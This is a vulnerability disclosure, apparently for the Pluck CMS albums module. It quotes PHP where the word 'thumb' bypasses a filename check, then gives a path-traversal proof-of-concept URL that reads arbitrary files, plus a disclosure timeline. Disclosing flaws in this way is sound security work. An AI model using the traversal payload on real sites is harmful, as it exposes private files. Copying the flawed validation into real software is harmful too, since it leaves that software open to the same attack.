When we use word thumb
at the begining of $_GET['image']
it's possible to omit preg_match()
function.
File: data/modules/albums/albums_getimage.php
$image = $_GET['image'];
//Then, check for hacking attempts (Remote Code Execution), and block them.
if (strpos($image, 'thumb') === false) {
if (preg_match('#([.*])([/])([A-Za-z0-9.]{0,11})#', $image, $matches)) {
if ($image != $matches[0]) {
unset($image);
die('A hacking attempt has been detected.');
}
}
}
elseif (strpos($image, 'thumb') !== false) {
if (preg_match('#([.*])([/])thumb([/])([A-Za-z0-9.]{0,11})#', $image, $matches)) {
if ($image != $matches[0]) {
unset($image);
die('A hacking attempt has been detected.');
}
}
}
//...if no hacking attempts found:
//Check if file exists.
if (file_exists('../../settings/modules/albums/'.$image)) {
//Generate the image, make sure it doesn't end up in the visitors buffer.
header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
header('Expires: Thu, 19 Nov 1981 08:52:00 GMT');
header('Pragma: no-cache');
header('Content-Type: image/jpeg');
echo readfile('../../settings/modules/albums/'.$image);
}
//If image doesn't exist, send 404 header.
else
header('HTTP/1.0 404 Not Found');
So we can display any file.
Proof of Concept
http://pluck-url/data/modules/albums/albums_getimage.php?image=thumb/../../../../settings/langpref.php
Because echo readfile()
is used and this function returns the number of bytes read from the file we will have single number at end of file.
Timeline
- 03-12-2014: Discovered
- 03-12-2014: Vendor notified
- 08-12-2014: Version 4.7.3 released, issue resolved